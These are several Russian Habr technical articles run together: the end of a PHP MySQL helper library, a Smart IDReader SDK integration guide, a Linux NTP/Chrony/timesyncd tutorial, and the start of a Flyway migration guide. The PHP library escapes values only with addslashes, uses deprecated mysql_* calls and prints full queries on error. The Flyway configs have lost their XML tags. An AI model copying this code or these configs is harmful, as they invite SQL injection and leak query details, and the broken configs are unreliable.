Вводим правило: данные должны поступать всегда в виде ассоциативного массива и никак иначе. Поверьте, это в всегда удобнее и гибче. Например вы прочитали строку из таблицы. Она приходит к вам в виде ассоциативного массива. Вы заменяте одельные значения, возможно удаляте какие-то поля (напр. ‘id’) и отдаете массив обратно на UPDATE или INSERT. Очень эффективно. Если увеличилось количество полей в таблице, то код практически нигде не надо подправлять.
Вводим еще одну вспомогательную функцию:
`$set = sql_set($fields);
$id = sql_query("INSERT INTO users $set");`
Не трудно догадаться, что функция sql\_set() генерирует опцию SET со списком полей и данных: SET name='Vasya', password='56F54AC84',email='vasya@pupkin.com'
Таким образом, введя несколько высокоуровневых функций, мы повысили уровень программы. Длина тех кусков кода, которе отвечают за работу с базой сократилась примерно 5-7 раз, но самое главное повысилась читабельность кода и его семантическая чистота. Мы гарантируем, что в обычной прикладной задаче (то есть в 99% случаев) вам более не понадобиться обращаться к фунциям низкого уровня. Данных функций будет достаточно для решения практически любых прикладных задач.
В завершение приводим текст библиотеки (благо он совсем короткий). Любознательный читатель найдет там пару полезные вещей, которые не упомянуты в статье. Предупреждаем, что библиотека написана под error\_reporting(E\_ALL^E\_NOTICE); Почему так – тема другой статьи о повышении уровня программирования. Но любой волен изменять в этой библиотеке все по своему вкусу.
> //=========================================================
>
> function sql\_get\_rows($query,$key\_col=false,$key\_col2=false)
>
> {
>
> $array= array();
>
> $res= sql\_query($query);
>
> if (mysql\_num\_rows($res)>0)
>
> {
>
> if ($key\_col)
>
> {
>
> if ($key\_col2) while ($item= mysql\_fetch\_assoc($res)) $array[$item[$key\_col]][$item[$key\_col2]]=$item;
>
> else while ($item= mysql\_fetch\_assoc($res)) $array[$item[$key\_col]]=$item;
>
> }
>
> else while ($item= mysql\_fetch\_assoc($res)) $array[]=$item;
>
> }
>
> mysql\_free\_result($res);
>
> return $array;
>
> }
>
> //=========================================================
>
> function sql\_get\_row($query)
>
> {
>
> $res= sql\_query($query.' LIMIT 1');
>
> $array= mysql\_fetch\_assoc($res);
>
> mysql\_free\_result($res);
>
> return $array;
>
> }
>
> //=========================================================
>
> function sql\_get\_value($query)
>
> {
>
> $res= sql\_query($query);
>
> $array= mysql\_fetch\_row($res);
>
> mysql\_free\_result($res);
>
> return $array[0];
>
> }
>
> //=========================================================
>
> function sql\_query($query)
>
> {
>
> mysql\_query($query) or sql\_query\_die(mysql\_error(),$query);
>
> if (substr($query,0,6)=='INSERT') $res= mysql\_insert\_id();
>
> if (!$res) $res= mysql\_affected\_rows();
>
> return $res;
>
> }
>
> //=========================================================
>
> function sql\_set($data, $skipslashes=false)
>
> {
>
> sql\_protect($data);
>
> $set\_text='';
>
> foreach ($data as $col=>$val)
>
> {
>
> if (!$skipslashes) $val= addslashes($val);
>
> $set\_text.= ",`$col`='$val'";
>
> }
>
> $set\_text= substr($set\_text,1); // remove very first comma
>
> return 'SET '.$set\_text;
>
> }
>
> //=========================================================
>
> function sql\_query\_die($error,$query)
>
> {
>
> $backtrace=debug\_backtrace();
>
> foreach ($backtrace as $step=>$trace) if (substr($trace['function'],0,4)!='sql\_') break;
>
> $step--;
>
> die(«SQL: $error. Generated at: {$backtrace[$step]['file']}:{$backtrace[$step]['line']}\nFull query: '$query'»);
>
> }
>
> \* This source code was highlighted with [Source Code Highlighter](http://source.virtser.net). | https://habr.com/ru/post/30651/ | null | ru | null |
# Smart IdReader SDK — встраиваем распознавание в проекты на Python и PHP
Мы, [Smart Engines](http://smartengines.ru/), продолжаем цикл статей про то, как встроить наши технологии распознавания ([паспортов](https://habr.com/ru/company/smartengines/blog/252703/), [банковских карт](https://habr.com/ru/company/smartengines/blog/272607/) и других) в ваши приложения. Ранее мы уже писали про встраивание на [iOS](https://habr.com/ru/company/smartengines/blog/329574/) и [Android](https://habr.com/ru/company/smartengines/blog/332670/), показывали, как встроить распознавание в [Телеграм-бота](https://habr.com/ru/company/smartengines/blog/344774/), а сегодня мы расскажем про то, как работать с Python и PHP интерфейсами библиотеки распознавания Smart IDReader для использования на in-house сервере.
Кстати, список поддерживаемых нами языков программирования, помимо рассматриваемых здесь, включает C#, Objective-C, Swift и Java. Как и раньше, мы поддерживаем все популярные и многие непопулярные операционные системы и архитектуры, а наши бесплатные демонстрационные приложения доступны для скачивания из [App Store](https://itunes.apple.com/ru/app/smart-idreader/id1157877082) и [Google Play](https://play.google.com/store/apps/details?id=biz.smartengines.smartid).
По традиции, демо-версия Smart IDReader SDK для Python и PHP вместе с примерами выложена на Github и [доступна по ссылке.](https://github.com/SmartEngines/SmartIDReader-Server-SDK)
Собираем обёртку
----------------
Поскольку версия подключаемого модуля должна совпадать с версией интерпретатора, мы поставляем не готовый модуль, а автосборщик, позволяющий собрать и развернуть на вашей машине необходимую обертку библиотеки распознавания Smart IDReader (поддерживаются Python 2/3 и PHP 5/7). Для этого необходимо запустить соответствующий сборочный скрипт, указав ему путь к нашей библиотеке libsmartidEngine.so и версию интерпретатора, под который нужно собрать модуль. К примеру, для Python это выглядит так:
```
bash build_python.sh ../../bin 3
```
PHP собирается похожим образом, только в качестве второго аргумента передается путь к используемому вами php-config:
```
bash build_php.sh ../../bin /usr/bin/php56-config
```
**Важно:** после сборки полученный модуль будет ссылаться на libSmartidEngine.so по абсолютному пути, так что вначале установите библиотеку в удобную вам директорию!
Автосборщик распакует поставляемый в сборке SWIG, сгенерирует модуль и проверит его, запустив тест.
Обёртка библиотеки включает в себя два файла — модуль, написанный на Python/PHP, и расширение для интерпретатора (\_pySmartIdEngine.so для Python и phpSmartidEngine.so). Для интеграции распознавания в проект необходимо импортировать модуль и подключить расширение.
В случае с Python для этого достаточно явно прописать путь к модулю и расширению:
```
sys.path.append(os.path.join(sys.path[0], '../../bin/'))
sys.path.append(os.path.join(sys.path[0], '../../bindings/'))
import pySmartIdEngine
```
В PHP модуль импортируется так же:
```
require(“phpSmartIdEngine.php");
```
а вот с расширением немного сложнее — dynamic linking не работает в некоторых версиях, так что для постоянной работы с расширением его необходимо положить в папку, где лежат все расширения для вашей версии ( к примеру /usr/lib/php56/modules) и подключить, прописав в дефолтный php.ini
```
extension=phpSmartisEngine.so
```
В примере с GitHub мы просто указываем интерпретатору использовать наш php.ini с уже прописанным расширением
```
php56 -c php.ini smartid_sample.php
```
Итак, с подключением разобрались, смело идeм изучать пример!
Изучаем интерфейс
-----------------
Пример запускается с тремя аргументами — путь к картинке, которую нужно распознать, путь к архиву с конфигурацией для движка и тип документа, который нужно распознать (тесты запускают пример для rus.passport.national (паспорт гражданина РФ))
```
python smartid_sample.py ../../testdata/passport_rf_2.jpg ../../data-zip/bundle_mock_smart_idreader.zip rus.passport.national
```
Как это работает:
```
# Создаём движок с указанием конфига (zip-архив, в в котором определяется набор поддерживаемых документов)
engine = pySmartIdEngine.RecognitionEngine(config_path)
# Задаём какие документы будем искать на картинке
session_settings = engine.CreateSessionSettings()
session_settings.SetEnabledDocumentTypes(document_types)
# Создаём сессию распознавания
session = engine.SpawnSession(session_settings)
# Кормим ей картинку и перезапускаем сессию
resultFromImageFile = session.ProcessImageFile(image_path)
session.Reset()
# Выводим результат
output_recognition_result(resultFromImageFile)
```
Подробнее остановимся на способах загрузки изображения: это может быть путь к файлу, строка в Base64 и буфер в памяти (как данные в форматах RGB\YUV NV21, так и сам jpeg-файл). Буферы могут быть внешними, так же их можно достать из объекта класса Image (предварительно создав его, указав путь к файлу или с помощью всё того же буфера)
**Важно:** саму картинку в формате RGB или YUV можно достать только в Python-модуле c помощью bytearray-объекта (создаём объект нужного размера, передаём его в метод CopyToBuffer, см. пример), в PHP вы сможете работать только со строкой в формате Base64!
Целиком это выглядит так (в Python):
```
engine = pySmartIdEngine.RecognitionEngine(config_path)
session_settings = engine.CreateSessionSettings()
session_settings.SetEnabledDocumentTypes(document_types)
# Создаём объект Image (позволяет работать с изображением)
testImage = pySmartIdEngine.Image(image_path)
# Создаём буффер в памяти, который можно отдать на распознавание
binaryRGBfile = open(image_path, "rb")
size = os.path.getsize(image_path)
binaryRGBfileBuffer = bytearray(size)
binaryRGBfile.readinto(binaryRGBfileBuffer)
# тоже самое, только в формате Base64
f = open(os.path.join(sys.path[0],"base64.txt"), 'r')
base64BufferString = f.readline()
f.close()
# Base64-строку можно получить и напрямую из объекта
# base64BufferString = testImage.GetBase64String()
# Создаём сессию распознавания
session = engine.SpawnSession(session_settings)
# Распознаём картинку
resultFromImage = session.ProcessImage(testImage)
session.Reset()
resultFromImageFile = session.ProcessImageFile(image_path)
session.Reset()
resultFromImageData = session.ProcessImageData(binaryRGBfileBuffer, size)
session.Reset()
resultFromBase64 = session.ProcessImageDataBase64(base64BufferString)
session.Reset()
# Выводим результаты
output_recognition_result(resultFromImage)
output_recognition_result(resultFromImageFile)
output_recognition_result(resultFromImageData)
output_recognition_result(resultFromBase64)
```
Python и PHP модули позволяют воспользоваться всем функционалом, предоставляемым С++ интерфейсом нашей библиотеки (за исключением работы с буфером в PHP, о чём написано выше).
Заключение
----------
Мы рассмотрели работу с SmartIdEngine SDK в Python и PHP, в примерах мы отразили все сложности, с которыми можно столкнуться в процессе развертывания модуля на рабочей машине. Mock-версия библиотеки, представленная на гитхабе, позволяет продемонстрировать механизм развертывания модуля и изучить их интерфейс, не неся в себе никакого функционала распознавания. Для получения триальной версии, обращайтесь к нам: support@smartengines.ru | https://habr.com/ru/post/472536/ | null | ru | null |
# Синхронизация времени в Linux: NTP, Chrony и systemd-timesyncd
Большинство людей следят за временем. Мы встаём вовремя, чтобы выполнить наши утренние ритуалы и отправиться на работу, сделать перерыв на обед, уложиться в сроки проекта, отметить дни рождения и праздники, сесть на самолёт и так далее.
Более того: некоторые из нас одержимы временем. Мои часы питаются от солнечной энергии и получают точное время из Национального института стандартов и технологий ([NIST](https://ru.wikipedia.org/wiki/%D0%9D%D0%B0%D1%86%D0%B8%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9_%D0%B8%D0%BD%D1%81%D1%82%D0%B8%D1%82%D1%83%D1%82_%D1%81%D1%82%D0%B0%D0%BD%D0%B4%D0%B0%D1%80%D1%82%D0%BE%D0%B2_%D0%B8_%D1%82%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D0%B9)) в Форт-Коллинз (штат Колорадо) через длинноволновую радиостанцию [WWVB](https://en.wikipedia.org/wiki/WWVB). Сигналы времени синхронизируются с атомными часами, также расположенными в форте Коллинз. Мой Fitbit синхронизируется с моим телефоном, который синхронизируется с сервером [NTP](https://ru.wikipedia.org/wiki/NTP), который в конечном итоге синхронизируется с атомными часами.
Устройства тоже следят за временем
----------------------------------
Есть много причин, по которым нашим устройствам и компьютерам нужно точное время. Например, в банковской сфере, на фондовых рынках и других финансовых предприятиях транзакции должны выполняться в надлежащем порядке, и для этого критически важны точные временные последовательности.
Наши телефоны, планшеты, автомобили, системы GPS и компьютеры требуют точной настройки времени и даты. Я хочу, чтобы часы на рабочем столе моего компьютера показывали правильное время. Я хочу, чтобы в моём локальном календаре напоминания появлялись в нужное время. Правильное время также гарантирует, что задания cron и systemd запускались в нужное время.
Дата и время также важны для ведения журнала, поэтому немного проще найти те или иные логи, ориентируясь по дате и времени. Например, однажды я работал в DevOps (в то время его так не называли) и занимался настройкой системы электронной почты в штате Северная Каролина. Раньше мы обрабатывали более 20 миллионов писем в день. Отслеживание электронной почты через серию серверов или определение точной последовательности событий с использованием файлов журналов на географически разнесенных хостах может быть намного проще, если соответствующие компьютеры синхронизированы по времени.
Время одно — часов много
------------------------
Хосты Linux должны учитывать, что существует системное время и время RTC. RTC (Real Time Clock — часы реального времени) является немного странным и не особо точным названием для аппаратных часов.
Аппаратные часы работают непрерывно, даже когда компьютер выключен, используя аккумулятор на материнской плате системы. Основная функция RTC — хранить время, когда соединение с сервером времени недоступно. В те времена, когда нельзя было подключиться к серверу времени через интернет каждый компьютер должен был иметь точные внутренние часы. Операционные системы должны были обращаться к RTC во время загрузки, и пользователь должен был вручную установить системное время, используя аппаратный интерфейс конфигурации BIOS, чтобы убедиться, что оно правильное.
Аппаратные часы не понимают концепцию часовых поясов; в RTC хранится только время, а не часовой пояс или смещение от UTC (Всемирное координированное время, которое также известно как GMT или среднее время по Гринвичу). Вы можете установить RTC с помощью инструмента, о котором я расскажу позже в этой статье.
Системное время — это время, которое ОС отображает на часах GUI на вашем рабочем столе, в выходных данных команды date, в метках времени журналов. Это также относится ко времени создания, изменения и открытия файлов.
На странице [man для rtc](https://linux.die.net/man/4/rtc) есть полное описание RTC и системных часов.
Что там у NTP?
--------------
Компьютеры во всем мире используют NTP (сетевой протокол времени) для синхронизации своего времени со стандартными эталонными часами через интернет с помощью иерархии серверов NTP. Основные серверы времени находятся на уровне 1, и они напрямую подключены к различным национальным службам времени на уровне 0 через спутник, радио или даже модемы по телефонным линиям. Службы времени на уровне 0 могут быть атомными часами, радиоприёмником, который настроен на сигналы, передаваемые атомными часами, или приёмником GPS, использующим высокоточные сигналы часов, передаваемые спутниками GPS.
На подавляющем большинстве эталонных серверов открыто несколько тысяч общедоступных серверов NTP stratum 2, которые доступны для всех. Многие организации и пользователи (включая меня) с большим количеством хостов, которым требуется NTP-сервер, предпочитают устанавливать свои собственные серверы времени, поэтому только один локальный хост обращается к stratum 2 или 3. Затем они настраивают оставшиеся узлы в сети для использования локального сервера времени. В случае моей домашней сети это сервер уровня 3.
Различные реализации NTP
------------------------
Первоначальная реализация NTP — это ntpd. Затем к ней присоединились две более новых, chronyd и systemd-timesyncd. Все три синхронизируют время локального хоста с сервером времени NTP. Служба systemd-timesyncd не так надёжна, как chronyd, но этого достаточно для большинства целей. Если RTC не синхронизирован, она может постепенно корректировать системное время, чтобы синхронизироваться с NTP-сервером, когда локальное системное время немного смещается. Служба systemd-timesync не может использоваться в качестве сервера времени.
[Chrony](https://chrony.tuxfamily.org/) — это реализация NTP, содержащая две программы: демон chronyd и интерфейс командной строки под названием chronyc. У Chrony есть некоторые функции, которые во многих случаях просто незаменимы:
* Chrony может синхронизироваться с сервером времени намного быстрее, чем старый сервис ntpd. Это хорошо для ноутбуков или настольных компьютеров, которые не работают постоянно.
* Он может компенсировать колебания тактовых частот, например, когда хост переключается в спящий режим или входит в спящий режим, или когда тактовая частота изменяется из-за скачкообразного изменения частоты, которое замедляет тактовые частоты при низких нагрузках.
* Он решает проблемы со временем, связанные с нестабильным сетевым соединением или перегрузкой сети.
* Он регулирует задержки в сети.
* После начальной временной синхронизации Chrony никогда не останавливает часы. Это обеспечивает стабильные и согласованные временные интервалы для многих системных служб и приложений.
* Chrony может работать даже без подключения к сети. В этом случае локальный хост или сервер можно обновить вручную.
* Chrony может выступать в качестве NTP-сервера.
Ещё раз: NTP — это протокол, который может быть реализован на хосте Linux с использованием Chrony или systemd-timesyncd.
RPM-пакеты NTP, Chrony и systemd-timesyncd доступны в стандартных репозиториях Fedora. RPM systemd-udev — это менеджер событий ядра, который в Fedora установлен по умолчанию, но не является обязательным для использования.
Вы можете установить все три и переключаться между ними, но это создаст лишнюю головную боль. Так что лучше не стоит. Современные релизы Fedora, CentOS и RHEL перешли на Chrony как стандартную реализацию, и кроме того, у них есть systemd-timesyncd. Я считаю, что Chrony работает хорошо, обеспечивает лучший интерфейс, чем служба NTP, предоставляет гораздо больше информации и повышает контроль, что безусловно понравится системным администраторам.
Отключение служб NTP
--------------------
Возможно, на вашем хосте уже запущена служба NTP. Если это так, вам нужно отключить её перед переключением на что-то другое. У меня был запущен chronyd, поэтому я использовал следующие команды, чтобы остановить и отключить его. Запустите соответствующие команды для любого демона NTP, который вы используете на своем хосте:
```
[root@testvm1 ~]# systemctl disable chronyd ; systemctl stop chronyd
Removed /etc/systemd/system/multi-user.target.wants/chronyd.service.
[root@testvm1 ~]#
```
Проверьте, что служба остановлена и отключена:
```
[root@testvm1 ~]# systemctl status chronyd
● chronyd.service - NTP client/server
Loaded: loaded (/usr/lib/systemd/system/chronyd.service; disabled; vendor preset: enabled)
Active: inactive (dead)
Docs: man:chronyd(8)
man:chrony.conf(5)
[root@testvm1 ~]#
```
Проверка статуса перед запуском
-------------------------------
Статус системной синхронизации часов позволяет определить, запущена ли служба NTP. Поскольку вы ещё не запустили NTP, команда timesync-status намекнёт на это:
```
[root@testvm1 ~]# timedatectl timesync-status
Failed to query server: Could not activate remote peer.
```
Прямой запрос статуса даёт важную информацию. Например, команда timedatectl без аргумента или параметров выполняет подкоманду status по умолчанию:
```
[root@testvm1 ~]# timedatectl status
Local time: Fri 2020-05-15 08:43:10 EDT
Universal time: Fri 2020-05-15 12:43:10 UTC
RTC time: Fri 2020-05-15 08:43:08
Time zone: America/New_York (EDT, -0400)
System clock synchronized: no
NTP service: inactive
RTC in local TZ: yes
Warning: The system is configured to read the RTC time in the local time zone.
This mode cannot be fully supported. It will create various problems
with time zone changes and daylight saving time adjustments. The RTC
time is never updated, it relies on external facilities to maintain it.
If at all possible, use RTC in UTC by calling
'timedatectl set-local-rtc 0'.
[root@testvm1 ~]#
```
Так вы получите местное время для вашего хоста, время UTC и время RTC. В данном случае системное время установлено на часовой пояс America / New\_York (TZ), RTC установлено на время в местном часовом поясе, а служба NTP не активна. Время RTC начало немного отклоняться от системного времени. Это нормально для систем, часы которых не были синхронизированы. Величина смещения на хосте зависит от времени, прошедшего с момента последней синхронизации системы.
Мы также получили предупреждение об использовании местного времени для RTC — это относится к изменениям часового пояса и настройкам летнего времени. Если компьютер выключен в тот момент, когда необходимо внести изменения, время RTC не изменится. Но для серверов или других хостов, которые работают круглосуточно, это вообще не проблема. Кроме того, любая служба, которая обеспечивает синхронизацию времени NTP, будет корректировать время хоста ещё на начальном этапе запуска, поэтому после завершения запуска время вновь станет правильным.
Установка часового пояса
------------------------
Обычно вы указываете часовой пояс во время процедуры установки, и у вас нет задачи менять его в дальнейшем. Однако бывают случаи, когда необходимо изменить часовой пояс. Есть несколько инструментов, которые могут помочь. Для определения местного часового пояса хоста Linux использует файлы часовых поясов. Эти файлы находятся в каталоге **/usr/share/zoneinfo**. По умолчанию для моего часового пояса система прописывает вот это: **/etc/ localtime -> ../usr/share/zoneinfo/America/New\_York**. Но вам не нужно знать такие тонкости, чтобы изменить часовой пояс.
Главное — знать официальное название часового пояса для вашего местоположения и соответствующую команду. Скажем, вы хотите изменить часовой пояс на Лос-Анджелес:
```
[root@testvm2 ~]# timedatectl list-timezones | column
America/La\_Paz Europe/Budapest
America/Lima Europe/Chisinau
America/Los\_Angeles Europe/Copenhagen
America/Maceio Europe/Dublin
America/Managua Europe/Gibraltar
America/Manaus Europe/Helsinki
```
Теперь вы можете установить часовой пояс. Я использовал команду date для проверки изменений, но вы также можете использовать timedatectl:
```
[root@testvm2 ~]# date
Tue 19 May 2020 04:47:49 PM EDT
[root@testvm2 ~]# timedatectl set-timezone America/Los_Angeles
[root@testvm2 ~]# date
Tue 19 May 2020 01:48:23 PM PDT
[root@testvm2 ~]#
```
Теперь вновь можете изменить часовой пояс своего хоста на местное время.
systemd-timesyncd
-----------------
Демон systemd timesync предоставляет реализацию NTP, которой легко управлять в контексте systemd. Он устанавливается по умолчанию в Fedora и Ubuntu. Однако запускается он по умолчанию только в Ubuntu. Я не уверен насчёт других дистрибутивов. Вы можете проверить у себя сами:
```
[root@testvm1 ~]# systemctl status systemd-timesyncd
```
Конфигурирование systemd-timesyncd
----------------------------------
Файл конфигурации для systemd-timesyncd — это **/etc/systemd/timesyncd.conf**. Это простой файл с меньшим количеством включенных опций, чем в старых сервисах NTP и chronyd. Вот содержимое этого файла (без дополнительных изменений) на моей виртуальной машине с Fedora:
```
# This file is part of systemd.
#
# systemd is free software; you can redistribute it and/or modify it
# under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation; either version 2.1 of the License, or
# (at your option) any later version.
#
# Entries in this file show the compile time defaults.
# You can change settings by editing this file.
# Defaults can be restored by simply deleting this file.
#
# See timesyncd.conf(5) for details.
[Time]
#NTP=
#FallbackNTP=0.fedora.pool.ntp.org 1.fedora.pool.ntp.org 2.fedora.pool.ntp.org 3.fedora.pool.ntp.org
#RootDistanceMaxSec=5
#PollIntervalMinSec=32
#PollIntervalMaxSec=2048
```
Единственный раздел, который он содержит, кроме комментариев, это [Time]. Все остальные строки закомментированы. Это значения по умолчанию, их не нужно менять (если у вас нет для этого причин). Если у вас нет сервера времени NTP, определенного в строке NTP =, по умолчанию в Fedora используется резервный сервер времени Fedora. Я обычно добавляю свой сервер времени:
```
NTP=myntpserver
```
Запуск timesync
---------------
Запустить и сделать systemd-timesyncd активным можно так:
```
[root@testvm2 ~]# systemctl enable systemd-timesyncd.service
Created symlink /etc/systemd/system/dbus-org.freedesktop.timesync1.service → /usr/lib/systemd/system/systemd-timesyncd.service.
Created symlink /etc/systemd/system/sysinit.target.wants/systemd-timesyncd.service → /usr/lib/systemd/system/systemd-timesyncd.service.
[root@testvm2 ~]# systemctl start systemd-timesyncd.service
[root@testvm2 ~]#
```
Установка аппаратных часов
--------------------------
Вот как выглядит ситуация после запуска timesyncd:
```
[root@testvm2 systemd]# timedatectl
Local time: Sat 2020-05-16 14:34:54 EDT
Universal time: Sat 2020-05-16 18:34:54 UTC
RTC time: Sat 2020-05-16 14:34:53
Time zone: America/New_York (EDT, -0400)
System clock synchronized: yes
NTP service: active
RTC in local TZ: no
```
Изначально разница между RTC и местным временем (EDT) не превышает секунды, и расхождение возрастает ещё на пару секунд в течение следующих нескольких дней. Поскольку в RTC нет понятия часовых поясов, команда timedatectl должна выполнить сравнение, чтобы определить нужный часовой пояс. Если время RTC точно не соответствует местному времени, то значит, оно не соответствует и местному часовому поясу.
В поисках дополнительной информации я проверил состояние systemd-timesync и обнаружил вот что:
```
[root@testvm2 systemd]# systemctl status systemd-timesyncd.service
● systemd-timesyncd.service - Network Time Synchronization
Loaded: loaded (/usr/lib/systemd/system/systemd-timesyncd.service; enabled; vendor preset: disabled)
Active: active (running) since Sat 2020-05-16 13:56:53 EDT; 18h ago
Docs: man:systemd-timesyncd.service(8)
Main PID: 822 (systemd-timesyn)
Status: "Initial synchronization to time server 163.237.218.19:123 (2.fedora.pool.ntp.org)."
Tasks: 2 (limit: 10365)
Memory: 2.8M
CPU: 476ms
CGroup: /system.slice/systemd-timesyncd.service
└─822 /usr/lib/systemd/systemd-timesyncd
May 16 09:57:24 testvm2.both.org systemd[1]: Starting Network Time Synchronization...
May 16 09:57:24 testvm2.both.org systemd-timesyncd[822]: System clock time unset or jumped backwards, restoring from recorded timestamp: Sat 2020-05-16 13:56:53 EDT
May 16 13:56:53 testvm2.both.org systemd[1]: Started Network Time Synchronization.
May 16 13:57:56 testvm2.both.org systemd-timesyncd[822]: Initial synchronization to time server 163.237.218.19:123 (2.fedora.pool.ntp.org).
[root@testvm2 systemd]#
```
Обратите внимание на сообщение журнала, в котором говорится, что системное время не установлено или сброшено назад. Служба Timesync устанавливает системное время на основе временной метки. Метки времени поддерживаются демоном timesync и создаются при каждой успешной синхронизации.
Команда timedatectl не имеет возможности взять значение аппаратных часов из системных часов. Она может установить время и дату только из значения, введённого в командной строке. Вы можете установить RTC на то же значение, что и системное время, используя команду hwclock:
```
[root@testvm2 ~]# /sbin/hwclock --systohc --localtime
[root@testvm2 ~]# timedatectl
Local time: Mon 2020-05-18 13:56:46 EDT
Universal time: Mon 2020-05-18 17:56:46 UTC
RTC time: Mon 2020-05-18 13:56:46
Time zone: America/New_York (EDT, -0400)
System clock synchronized: yes
NTP service: active
RTC in local TZ: yes
```
Опция --localtime говорит о том, что аппаратные часы показывают местное время, а не UTC.
Зачем вам вообще RTC?
---------------------
Любая реализация NTP установит системные часы во время запуска. И зачем тогда RTC? Это не совсем так: это произойдет только в случае, если у вас есть сетевое соединение с сервером времени. Однако многие системы не имеют постоянного доступа к сетевому соединению, поэтому аппаратные часы полезны для того, чтобы Linux мог на их основе установить системное время. Это лучше, чем установка времени вручную, даже если оно может отклоняться от реального времени.
Заключение
----------
В этой статье рассмотрены некоторые инструменты для управления датой, временем и часовыми поясами. Инструмент systemd-timesyncd предоставляет NTP-клиента, который может синхронизировать время на локальном хосте с NTP-сервером. Однако systemd-timesyncd не предоставляет серверную службу, поэтому, если вам нужен NTP-сервер в вашей сети, вы должны использовать что-то ещё — например, Chrony, для работы в качестве сервера.
Я предпочитаю иметь единственную реализацию для любой служб в моей сети, поэтому использую Chrony. Если вам не нужен локальный NTP-сервер или если вы не против использовать Chrony в качестве сервера и systemd-timesyncd в качестве SNTP-клиента. Ведь нет необходимости использовать дополнительные возможности Chrony как клиента, если вас устраивает функционал systemd-timesyncd.
Еще одно замечание: вы не обязаны использовать инструменты systemd для реализации NTP. Вы можете использовать старую версию ntpd, Chrony или другую реализацию NTP. Ведь systemd состоит из большого количества сервисов; многие из них являются необязательными, поэтому их можно отключить и использовать вместо них что-то ещё. Это не огромный монолитный монстр. Можно не любить systemd или его части, но вы должны принять обоснованное решение.
Мне нравится реализация NTP в systemd, но я предпочитаю Chrony, потому что он лучше отвечает моим потребностям. Это Linux, детка -)
---
#### На правах рекламы
VDSina предлагает [серверы под любые задачи](https://vdsina.ru/pricing?partner=habr20), огромный выбор операционных систем для автоматической установки, есть возможность установить любую ОС с собственного [ISO](https://vdsina.ru/qa/q/kak-ispolzovat-svoy-obraz-iso-v-vds?partner=habr20), удобная [панель управления](https://habr.com/ru/company/vdsina/blog/460107/) собственной разработки и посуточная оплата. Напомним, у нас есть вечные серверы, которые точно неподвластны времени ;)
[](https://vdsina.ru/eternal-server?partner=habr20) | https://habr.com/ru/post/505314/ | null | ru | null |
# Flyway: управление миграциями баз данных
В этой статье я расскажу об одном из средств обеспечения версионности схем и управления миграциями БД — библиотеке [Flyway](http://code.google.com/p/flyway/). С поблемой версионности схемы базы данных рано или поздно приходится сталкиваться разработчикам любого приложения, опирающегося на СУБД. Увы, иногда эта проблема принимается в рассмотрение слишком поздно — например, если вопрос о внесении изменений в структуру базы встаёт, когда приложение уже находится в эксплуатации. Но и на этапе разработки контроль схемы базы данных причиняет не меньше проблем, чем все прочие аспекты версионности приложения: в отсутствие чёткой системы управления миграциями локальная, стендовая и эксплуатационная базы могут быстро «разъехаться», не предоставляя при этом никакой информации относительно своего текущего состояния.
Перзистенс-провайдеры штатно позволяют лишь в том или ином виде экспортировать актуальную объектную модель в виде схемы базы данных. Этот процесс может быть выполнен в режиме пересоздания (с полным удалением всей структуры), обновления (с внесением изменений) или сверки (без внесения изменений). Например, в Hibernate это делается с помощью инструмента hbm2ddl, работа которого может быть настроена единственным конфигурационным параметром в файле hibernate.cfg.xml или persistence.xml. Однако пересоздание (режим create) бывает нежелательным, если в базе уже есть данные, а обновление (режим update) вносит не все изменения, а только недеструктивные (например, не удаляются столбцы и таблицы) и не учитывает требующуюся реструктуризацию данных. Зачастую, если модель данных претерпела множество изменений, применить их к эксплуатационной базе бывает непросто, особенно если текущая версия базы неизвестна. Так или иначе, но приходится «опускаться» до SQL-скриптов — тут-то и встаёт вопрос управления версионностью.
### Flyway
На главной странице проекта приведена наглядная таблица сравнения библиотеки с аналогичными решениями, и здесь основное внимание хочется обратить на богатую функциональность, работу с миграциями в виде простых SQL-файлов или Java-классов (последние по сути основываются на Spring JDBC Template) и поддержку нативного SQL популярных СУБД (Oracle PL/SQL, SQL Server T/SQL, хранимые процедуры MySQL и PostgreSQL).
Flyway хорошо интегрируется с Ant, Maven и инструментами командной строки, имеет API для программного вызова и интеграцию со Spring, работает со множеством СУБД. Я приведу пример подключения Flyway к уже существующему проекту, сборка которого основывается на Maven, а вызов Flyway производится при старте контекста Spring. В качестве базы данных в проекте используется MySQL.
### Подключение Flyway к проекту
Для начала создадим папку db/migration в подкаталоге src/main/resources проекта: в ней будут храниться скрипты миграции. Поместим туда предварительно экспортированный скрипт базы данных — со всеми таблицами, представлениями, индексами и т.д. Назовём файл V1\_\_Base\_version.sql. Подробно соглашения по именованию миграций описаны [в документации](http://code.google.com/p/flyway/wiki/SqlMigration), пока достаточно сказать, что имя файла начинается с V, далее следует номер версии (с произвольным количеством точек-разделителей), двукратный символ подчёркивания и описание миграции.
Добавим в зависимости проекта (раздел dependencies) ядро библиотеки Flyway:
```
com.googlecode.flyway
flyway-core
1.5
```
А в сборочные плагины (раздел build/plugins) — плагин Flyway:
```
com.googlecode.flyway
flyway-maven-plugin
1.5
com.mysql.jdbc.Driver
jdbc:mysql://localhost:3306/flywaytest?autoReconnect=true&useUnicode=true&characterEncoding=UTF-8&connectionCollation=utf8\_general\_ci&characterSetResults=UTF-8
db/migration
```
Для запуска Flyway через плагин лучше создать отдельную учётную запись в базе. Можно указать пользователя и пароль для подключения к базе здесь же, в конфигурации плагина:
```
flyway
mySecretPassword
...
```
Или в параметрах командной строки:
```
-Dflyway.user=flyway -Dflyway.password=mySecretPwd
```
Но более удобным способом, в случае сборки на Maven, будет помещение типовых параметров в файл настроек Maven (файл settings.xml) и дальнейшее использование их во всех аналогичных проектах:
```
flyway-db
flyway
mySecretPassword
```
Если необходимо инициализировать текущую базу с нуля, то можно выполнить её очистку. При этом всё содержимое базы будет удалено:
```
mvn flyway:clean
```
При успешном выполнении задачи база окажется пустой, а в логе Maven появятся следующие строки:
```
[INFO] --- flyway-maven-plugin:1.5:clean (default-cli) @ flyway-test-project ---
[INFO] Cleaned database schema 'flywaytest' (execution time 00:03.911s)
```
Если же база находится в актуальном состоянии (соответствует выгруженному ранее скрипту), необходимо выполнить задачу, которая создаст в ней необходимую для поддержания версионности структуру:
```
mvn flyway:init -Dflyway.initialVersion=1 -Dflyway.initialDescription="Base version"
```
Далее можно убедиться, что в базе появилась таблица schema\_version с единственной записью, соответствующей текущему состоянию базы:
Интеграцию Flyway с приложением выполним в виде бина Spring, стартующего перед entityManagerFactory:
```
...
...
```
